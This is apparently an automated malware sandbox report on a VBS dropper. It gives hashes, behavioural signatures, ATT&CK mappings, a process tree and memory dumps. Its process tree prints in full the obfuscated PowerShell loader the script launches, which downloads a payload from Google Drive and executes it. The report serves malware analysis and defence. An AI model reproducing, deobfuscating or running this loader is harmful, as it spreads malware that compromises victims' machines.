259e6985a69d303cbd0945bb663c8ad54c28ef2cce53c2271b6e4912476d6f7b

General

Target

259e6985a69d303cbd0945bb663c8ad54c28ef2cce53c2271b6e4912476d6f7b.vbs
Size

21KB
MD5

24dac6b183fc5cb29533742b3e54f209
SHA1

102f41208323839ecbcff8fef13e1ccf23b7a608
SHA256

259e6985a69d303cbd0945bb663c8ad54c28ef2cce53c2271b6e4912476d6f7b
SHA512

f4d20eb40e1e617e4d70c96b6f7b066b617efd17a28d04d3be38a60eb2cce17ceb8f1595bb16a8bf2b71147354a65ec5e8f3046caa81156809453238c687a289
SSDEEP

384:wgbqVWY0OjSRKdmkhYL4TGDiTkmZ0u4i9nLYgMstmCzmZrCF1956lbeTTA1HJH91:wgbqVWY0OjSRKd/hYL4TGDiTkmZ0Ti9a

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	2132	WScript.exe
9	2804	powershell.exe
12	2804	powershell.exe
14	2804	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	drive.google.com
12	drive.google.com

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2804	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2804	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2804	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2132 wrote to memory of 2804	2132	WScript.exe	28
PID 2132 wrote to memory of 2804	2132	WScript.exe	28
PID 2132 wrote to memory of 2804	2132	WScript.exe	28
PID 2804 wrote to memory of 884	2804	powershell.exe	30
PID 2804 wrote to memory of 884	2804	powershell.exe	30
PID 2804 wrote to memory of 884	2804	powershell.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\259e6985a69d303cbd0945bb663c8ad54c28ef2cce53c2271b6e4912476d6f7b.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -windowstyle 1 "$Personliste = 1;$Binomialkoefficientens='';Function Superbusily($Livvidde){$Chrysothrix=$Livvidde.Length-$Personliste;$Servility=$Binomialkoefficientens+'Substring';For( $Ignoreringen=7;$Ignoreringen -lt $Chrysothrix;$Ignoreringen+=8){$bytrafik+=$Livvidde.$Servility.Invoke( $Ignoreringen, $Personliste);}$bytrafik;}function Outhue($Gaspedalens){ . ($Spasmolytically) ($Gaspedalens);}$Prvetekstens=Superbusily 'TinkturMphilosoo,nalterzS.ainleiSsp.jdelEneherslAstroloaEliks,r/Ru,idum5Undivid.Multinu0 ilians Cons.ab(PrveudsWtown,eaiRadbuganByggefod Mi,troo Fysik,w unnomas kek.te M,ulanaNOffent,TSpender Untramp1firedel0 dibenz.,igtana0 arrowi; Udbry. Und.rfoW Unb.waiGr,vsmenSeksual6 proede4 ,ynebe; Taktfa Registx For,rg6 adduce4Vekselr;st,dent Ruge.sprLocus.ivUn moke:Re,nves1 tautol2 Insinu1Eng evi.Kulmine0de.embr)Postpat Impo tuGCarcinoeorgi,stcComputekOphedenohovedsk/ Gaader2infleks0Renssan1Kvgsmis0Erhverv0Opslags1Jeremys0emballe1V.ginis Res.skFSvikml iGste.rer udbredeU combifGe.dannokitsdogx Efterh/Superco1 S oleb2Ynkelig1Volplan.Boldspi0 Deepin ';$Salgsvarerne=Superbusily ' F glefUf,ldauts Aboli.edesertarFreder.-RekursiAsalam.ng GordiaeRhombohnBa,ehtttO.nifor ';$nucleole=Superbusily 'AfstreghStorebrtNutc,ketVerdenspniddin.sQuac le:Mariali/Samarit/ Signa,dJasminerOpskresiA etyltvFolkedreNe gang.Le,ekasgStj,mpeoUnshunnoRentekogf,lserulIndh,ntePr mrpr.Defacinclevo,ucoudkradsm.taalig/S.rmoneu Unascec Uncomp?Tikmpere MotacixVenizelp HovedboRekomperklis.ertEuphono=HomophodSplenetoHelgenswbaadeh.nAbbrevilP.essero Be.utyaUroleucdDrmmesl&Quai eriTeknokrdHakkapi=Oxidise1 ,nciderSammenkrDagbrknbMor,enazTralledlbipinnaq SalthoYUnderbiRMo.ndinL NathasCKoeksissexten.alinaktivPSpha,roKA.lurenLGennems1rendejeyChrys.pp CouthsoUnderdr1bnskrafFFod,oldEmis urn1StraaliuHypnotiOSprachlkLoes,es3VoltospKPr.depeJKnhjdenaDalagamW LagdefKRu.dten ';$Beaandingens=Superbusily 'Lighter>gre.twh ';$Spasmolytically=Superbusily 'scorneri Ufo.tveBogtrykxBanesaa ';$Munkerup='Bankerotten';$Idrttens = Superbusily '.ihiliseGhu mulcNaadesthBadekaao muskie Par.elr%,ladtrya Refr.spSnortlepPenneprdgen.nskaJorganst SociolaPa,anuc%Ar.ogra\Te.charFCre enyi Temperd LindyseSluknt,is alinokFjerneno Ousterm F.rbrumDeceleri Overr.sLimstensBlgetopa WhilterDramatiiRoughfos Reoff k Palladehailstos Electr.MainfraSA judanlOrohydra,arobes Katikc &acrorha&Lipect, ImodstoeAmarantcLithotrhNonviraoRubb.ri StasiditMonokro ';Outhue (Superbusily 'Var etp$Staggerg Nasturl CarpinoParadokb Enst.vaClor,gelIn.esba:OdiscotsPa,tisorTrimorpgwant.nseutvetydf Kom.etlS praseoTaagetarFlyndereKursusmn avan.eeDemagogs bol,je= Adaman(Led,ggacFlamme m Shar idSvr,eds Skilten/B,nkbesc Highto nononer$ WondroI DusrjgdLandganrTantalitEksporttS.bningeInd lagnFaineansGilrava)Partner ');Outhue (Superbusily ' Coadju$GoaledogNnnen.elPanosteo.lejencbSumm tiaLig stilTrickli:sammentSKon raklApterinaSk,devapaf egnesBelomant Hektari ParthecUsigelikAnonolj=Plurip.$layloclnPachucouImplemecAstrobilOpslidse EjerlaoLrerf rlPrincewePapirp . Ubesvasauto trp NaboinlSuperheiKohrenttMejerie(Div,rce$InclipsBSynl gheChefkriahaevespaStopfodnInvaliddRabbitiiDe,entrnRewiresgUvealtoeU.recogntilplanslate,op)Tobacco ');$nucleole=$Slapstick[0];$Overgild= (Superbusily ' ymphom$GestaltgGenforelAkkumuloPrfer.nbUncorreaF,rhaanlAflyse :Vin ergSOutseekuGloppyhb PoliticSandhe,uCervinatSvedkiriJunkb,as ArmbeveHaspninsKnappyg=KopskatNbeskytteFjernstwFolkere-serg,lrO Hum.nmb hattiojdiskoteeRumnskecNonvolutaarsb.r KoreishS OlaviayHejsevrsMedusiftIltendeeSt.esermMapmaki.UnputriNHemmelieHistioltant.rea.ChauffeW TyranteSoc.alab re,derCoverderlRet.pleiAl,amiaeflippinnSkuflert');$Overgild+=$srgeflorenes[1];Outhue ($Overgild);Outhue (Superbusily 'Hrerrsf$PresynaSTerrazzuDok.tnibhagridicUforeneu.oncinntTeatersiNedsablsM asbygeTeltligsForespr.Decim lHBestormeFortrstaS,uirtidKasseapeKulturprG,ldfiss Antisp[Wo msee$ Medi,bSBredsdoaKvartsulHjemsengPreinjusPaxamprv Forv.la SissonrLyknskneArrearirHaeldten OutimaeBlurred]Forsvar=Or cula$EksisteP G benerToluid v NematoeVitrioltsvr.gteeNotoneck bab.lisCaricattOsogambedzoti.hn .ambods Horror ');$astringeringernes=Superbusily 'Idyllic$StatsfnSDemonteuCifbittb Overs,cBrasseyu FireletPyrr.lbiTerpolysEfteraaeModeordsH.vedba. VenkesDSeniorso Topob wrigor.snTjekkerl.eisminoTestkrsaBeothukd.oldjesF FyringiReflexelAmtsraae Gase.u( fldern$UricuronForegriuCapaletcSmdend.lBo,tedeeDolesfao Terapel Enh.nceNonrequ,Voldtgt$Pr.arbidS,egepaa Vagtstmlsk.dednNasalitaStradintPr genioGundesprDefrosty Tawesu)Kalk,la ';$damnatory=$srgeflorenes[0];Outhue (Superbusily 'marimba$W nterigTulisa lPlutonioSlavehabDelineaaNonargulLeptoce: araffiG LevedyyFilibuslMilieupdBre,vekiSkriblegAp.theohInquilieAsminesdopdukke2B.ossep3Galning3Slagt.s=Typwkul( Grupp,TstemplieArbejdesWirosc,tTreade.-applikaPMassersaSp.serntTeltdughMimeogr Udbrede$Transf,dSkrabnsaDemokramD.ovedhn UdvandaLayeragtAntisemoTowpathrisocyanyStruggl)Exsus i ');while (!$Gyldighed233) {Outhue (Superbusily 'Tvangsa$NewcolcgSkr.atolOpslidnoPhilolobFunnimeaEspaceml,altern:ClearinPKnastakeBrandforPatent,vFrikenda.oyarsslCotterhvInsula.aStrenger Manicu=cuppens$F,rurentUnemendrZurliteuJonos,re Freder ') ;Outhue $astringeringernes;Outhue (Superbusily 'AnfordrSparsleytReedieraSyvmiler nddatattimetal-.remsesS HypoamlPustersedroskebeAfmeldepKo,omip Bvelses4Solos.n ');Outhue (Superbusily ' ysiote$UdenriggBrnevenlBond.paoExtensubSevartwaPup idslOscillo:IntercoG De finyIridizalCoitaled Pr,ktiiMvhp,angUdsprinh MeseegeOk oberdVandlaa2Svanges3Reg.nte3Es roge=.anetti( forwarTvinc,nzeSu,chlosliersbatHar,eni-HovedpuP Ve,denaTotitivtHemiopihNetoper Madrepo$Koesem,d Ka.egoa Indsaam PituitnBrothiea DoomhotLo rdesoHulketmrTyssendyHortiku) Croose ') ;Outhue (Superbusily 'Singale$Cokyshig ormulal NaturmoambiencbVantguaaCalligrlF,annel:SpillepAJagtprouFaglitttErgometoGenansklSkade.ryUdfyldtcA,pehoru Venstrs dignit=Nylonsp$DecostagEliminelSti.lepo Tipoldbenle.fdaReallnslDecrimi:UntheisAVaccinenUd yndegCheeseme Reg.nelUdtydnifGangartiRejehopsTeatersh,irknineSkibs,asMaski,s+Ejefald+Spiseb.%Opposit$Feci.lbS aturallForew,eaKlbestrp Hoveris misfo.thawkmotiDybhavscUderumskFiskeku.Unlethac SeksteoRec,rbouBrunel nDesa,metPhotpho ') ;$nucleole=$Slapstick[$Autolycus];}$Rjsernes=333842;$Definitionernes=30113;Outhue (Superbusily 'Rutilan$SpecialgFrustrelU dvrlioPepitatbPigletcaFel.adhlMendels: C,ffinC S.lonkiParamutl ProduklA.leygaemul,angrChl.ropyKlippe. S rafpo=Iliocos IndtgtGClawsnoeForfaretHvn,err- UautorCUnd.rshoOpbevarn no,exptGlucon.eParlam,nindirectPetr li cryptoc$.pegepldDemagogaBlivesmmAntiantn flerspa EksametStrainao Udlig rdrspiony Succum ');Outhue (Superbusily 'Haavard$Spad efgTristezl aproctoDeco.orbMelonryaDelmomelAbl.cta:V,ndprvAkluk atn F,ttoge FlaffesMiracu tManubrihFederaleUrinaletUnphiloiKha,arfzNaivisme Oarf,s Martyn= udhol Th,irse[Dahlia SLength,y IsvintsVerden.t UnrumoeDinornimModef.l.VendetaCJoyprooo Honni.nB rgninvDisco.ye AfskrarDugpunktPhototr]Unmolde: rader,: SommerF Benz.nrS.dpudeoSlgtsfem AncienBEffulgea KedushsForbilleMetam.r6Epigene4BunchbaSAandendtcausewarVac.inaiEyeshadnSpl chngDefinie(Soigner$M gdepaCIno erci allotl Biklanl SyphoneOberstirSubstriySummon.) Tilbag ');Outhue (Superbusily ' Re,ros$Sw.thergOstracolFedes.ioB,slagsb AzandeaBelevnel Artles:Friskh TWash dlu ExtracmGuesserpSkytteklConstitiAmpelidndabblineHimen,f Trilleb=Sektion Hellang[ efloccSEudaimoyUn.andssPangaratTi,trnge HarengmSeismog.straf,eTPolydemeTristicx.efloattGennems.Fo teraEAdsprednObscurac FletteoTantal.dKreditgiChromatnEksterngKartere]Unaggra:Unsatir:MoseegmAP,rmafrSPokerisCArchimpIAbalienITvivlsw.PegepinGSnustobeMave,netBesotscSK,ressetPlat yfr SexoloiFormumnn F,libugFormaak(Angstfu$.oneybeAAgricsynGudet,mePljtelesBeflendt Disperh VandroeTransvetEfter,ri SmaglszMarisaseBr eraa)Kdetrkb ');Outhue (Superbusily 'Cotehel$ Vaun.hgArchie l Retsopo KontrobFreshenaSubs.anlWale ty:Re,ubliFDr coceoDv.geflrFoveolee OveropsDe.oaguk PropenrSyge.ikiHulrumbvEn cture MistralEnfiressOrdkriteEnma dsrGangbessafs.ori=Forsyth$rectifiTKrigsk,uOve.sttmDelingspLimberel Antirei Brach,nExecra eEngrosp.JordspesShrimpiuKodekseb MyrernsNon,portSpr tkrrPer,onaiPreco,snPlebeiag Monato(Liftgat$e oismsRTremblyjBefrielsToneflge PteridrForla snSvigerseMas incsArren t,Or,anis$Finhak DRundskaeSu arytfGob esoi DisdennFiktio,iUmennestP eceabiUdbandtoMi osfin EdeltreSvibl,nrKrselsfnDrt,inseContinusEpicond)Ind,cie ');Outhue $Foreskrivelsers;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fideikommissariskes.Sla && echo t"
    3⤵
    PID:884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Ggehvidens.txt

Filesize
4KB

MD5
3bf8bc71c36998c7960f91895f9753c8

SHA1
3215c1c2013c8c2487a9dc66728cb895d5296bc4

SHA256
93f66905ee28e4e3c3f8fcd6afe96a1cec0087d8f6843583b8f6087845cee6e5

SHA512
3eb896f10430c83d79de4112df368a10621ffdebef247ece7c97a6375bacfc9c945f31ea10c45a432fed58e1c3c210e13a07ab9c8757db842ecbf0f2098e4c2b

Download Submit
memory/2804-328-0x000007FEF5EDE000-0x000007FEF5EDF000-memory.dmp

Filesize
4KB

Download
memory/2804-329-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/2804-330-0x0000000001E90000-0x0000000001E98000-memory.dmp

Filesize
32KB

Download
memory/2804-331-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2804-332-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2804-333-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2804-334-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2804-335-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2804-336-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2804-337-0x000007FEF5EDE000-0x000007FEF5EDF000-memory.dmp

Filesize
4KB

Download
memory/2804-341-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing